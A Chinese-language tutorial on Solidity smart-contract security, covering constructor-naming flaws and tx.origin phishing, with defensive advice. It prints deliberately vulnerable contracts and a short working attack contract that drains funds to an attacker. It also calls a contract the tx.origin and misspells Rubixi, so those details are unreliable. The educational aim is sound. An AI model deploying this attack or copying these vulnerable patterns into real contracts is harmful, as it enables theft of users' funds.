区块链安全—简单函数的危险漏洞(二)
字数 1376 2025-08-22 12:22:15

区块链安全:构造函数与tx.origin/msg.sender漏洞分析

一、前言

本文深入分析Solidity智能合约中构造函数(constructor)以及tx.origin/msg.sender的安全机制和潜在漏洞。这些函数在合约开发中使用频率极高,若存在漏洞将带来严重安全隐患。

二、函数解析

1. 构造函数

构造函数用于初始化合约对象,在Solidity中是与合约同名的函数:

pragma solidity ^0.4.20;

contract CpTest {
    uint value;
    
    function CpTest(uint number, uint p) {
        value = number * p;
    }
    
    function getPower() view returns (uint) {
        return value;
    }
}

关键特性:

  • 部署合约时自动调用构造函数初始化状态变量
  • 若不定义构造函数,成员变量将保持默认初始值(如uint为0)
  • 一个合约中只能有一个构造函数

2. tx.origin与msg.sender

测试合约:

pragma solidity ^0.4.20;

contract CpTest {
    function getOrigin() view returns (address) {
        return tx.origin;
    }
    
    function getSender() view returns (address) {
        return msg.sender;
    }
}

区别分析

  • tx.origin:返回整个调用链最原始的发起者地址(外部账户)
  • msg.sender:返回直接调用当前合约的地址(可能是合约地址)

多层调用实验:

  1. 合约A调用合约B调用合约C
  2. 在C中:
    • tx.origin = A的地址
    • msg.sender = B的地址

三、漏洞分析

1. tx.origin钓鱼攻击

漏洞合约

contract Phishable {
    address public owner;
    
    constructor(address _owner) {
        owner = _owner;
    }
    
    function withdrawAll(address _recipient) public {
        require(tx.origin == owner);
        _recipient.transfer(this.balance);
    }
}

攻击合约

contract AttackContract {
    Phishable phishableContract;
    address attacker;
    
    constructor(Phishable _phishableContract, address _attackerAddress) {
        phishableContract = _phishableContract;
        attacker = _attackerAddress;
    }
    
    function() {
        phishableContract.withdrawAll(attacker);
    }
}

攻击流程

  1. 攻击者诱导用户向AttackContract转账
  2. 转账触发fallback函数
  3. fallback调用Phishable的withdrawAll
  4. 此时调用链:用户→AttackContract→Phishable
  5. tx.origin是用户地址,通过require检查
  6. 资金被转给攻击者

安全建议

  • 使用msg.sender而非tx.origin进行身份验证
  • tx.origin仅应用于特殊场景,如拒绝合约调用

2. 构造函数命名漏洞

漏洞示例

pragma solidity ^0.4.18;

contract Fallout is Ownable {
    /* constructor */
    function Fal1out() public payable {
        owner = msg.sender;
    }
}

漏洞分析

  • 合约名Fallout与构造函数名Fal1out不同(1与l混淆)
  • 导致Fal1out成为普通可调用函数
  • 任何人都可调用此函数成为owner

真实案例

  • Ubixi合约:合约名从DynamicPyramid改为Rubixi,但构造函数名未更新
  • 导致任何人都可调用原构造函数成为creator

安全建议

  • Solidity 0.4.22+使用constructor关键字
  • 旧版本确保合约名与构造函数名完全一致
  • 合约重命名时同步更新构造函数名

四、防御措施

  1. 构造函数安全

    • 使用Solidity 0.4.22+版本的constructor语法
    • 部署前严格检查合约名与构造函数名一致性
    • 考虑使用初始化函数+权限控制替代构造函数敏感操作
  2. 身份验证安全

    • 优先使用msg.sender而非tx.origin
    • 必须使用tx.origin时,确保理解其安全影响
    • 结合其他验证机制如签名验证
  3. 代码审计要点

    • 检查所有权限验证点的身份验证方式
    • 验证构造函数定义的正确性
    • 测试合约间调用的权限传递

五、总结

智能合约开发中,基础函数的安全使用至关重要。构造函数命名错误和tx.origin滥用是两类常见但危害严重的安全问题。开发者应:

  1. 严格遵循最新Solidity安全实践
  2. 理解tx.originmsg.sender的本质区别
  3. 对权限控制代码进行重点测试和审计
  4. 保持对合约基础安全问题的持续关注

通过系统性地理解和防范这些基础但关键的安全问题,可以显著提升智能合约的安全性和可靠性。

区块链安全:构造函数与tx.origin/msg.sender漏洞分析 一、前言 本文深入分析Solidity智能合约中构造函数(constructor)以及tx.origin/msg.sender的安全机制和潜在漏洞。这些函数在合约开发中使用频率极高,若存在漏洞将带来严重安全隐患。 二、函数解析 1. 构造函数 构造函数用于初始化合约对象,在Solidity中是与合约同名的函数: 关键特性: 部署合约时自动调用构造函数初始化状态变量 若不定义构造函数,成员变量将保持默认初始值(如uint为0) 一个合约中只能有一个构造函数 2. tx.origin与msg.sender 测试合约: 区别分析 : tx.origin :返回整个调用链最原始的发起者地址(外部账户) msg.sender :返回直接调用当前合约的地址(可能是合约地址) 多层调用实验: 合约A调用合约B调用合约C 在C中: tx.origin = A的地址 msg.sender = B的地址 三、漏洞分析 1. tx.origin钓鱼攻击 漏洞合约 : 攻击合约 : 攻击流程 : 攻击者诱导用户向AttackContract转账 转账触发fallback函数 fallback调用Phishable的withdrawAll 此时调用链:用户→AttackContract→Phishable tx.origin 是用户地址,通过require检查 资金被转给攻击者 安全建议 : 使用 msg.sender 而非 tx.origin 进行身份验证 tx.origin 仅应用于特殊场景,如拒绝合约调用 2. 构造函数命名漏洞 漏洞示例 : 漏洞分析 : 合约名 Fallout 与构造函数名 Fal1out 不同(1与l混淆) 导致 Fal1out 成为普通可调用函数 任何人都可调用此函数成为owner 真实案例 : Ubixi合约:合约名从DynamicPyramid改为Rubixi,但构造函数名未更新 导致任何人都可调用原构造函数成为creator 安全建议 : Solidity 0.4.22+使用 constructor 关键字 旧版本确保合约名与构造函数名完全一致 合约重命名时同步更新构造函数名 四、防御措施 构造函数安全 : 使用Solidity 0.4.22+版本的 constructor 语法 部署前严格检查合约名与构造函数名一致性 考虑使用初始化函数+权限控制替代构造函数敏感操作 身份验证安全 : 优先使用 msg.sender 而非 tx.origin 必须使用 tx.origin 时,确保理解其安全影响 结合其他验证机制如签名验证 代码审计要点 : 检查所有权限验证点的身份验证方式 验证构造函数定义的正确性 测试合约间调用的权限传递 五、总结 智能合约开发中,基础函数的安全使用至关重要。构造函数命名错误和 tx.origin 滥用是两类常见但危害严重的安全问题。开发者应: 严格遵循最新Solidity安全实践 理解 tx.origin 与 msg.sender 的本质区别 对权限控制代码进行重点测试和审计 保持对合约基础安全问题的持续关注 通过系统性地理解和防范这些基础但关键的安全问题,可以显著提升智能合约的安全性和可靠性。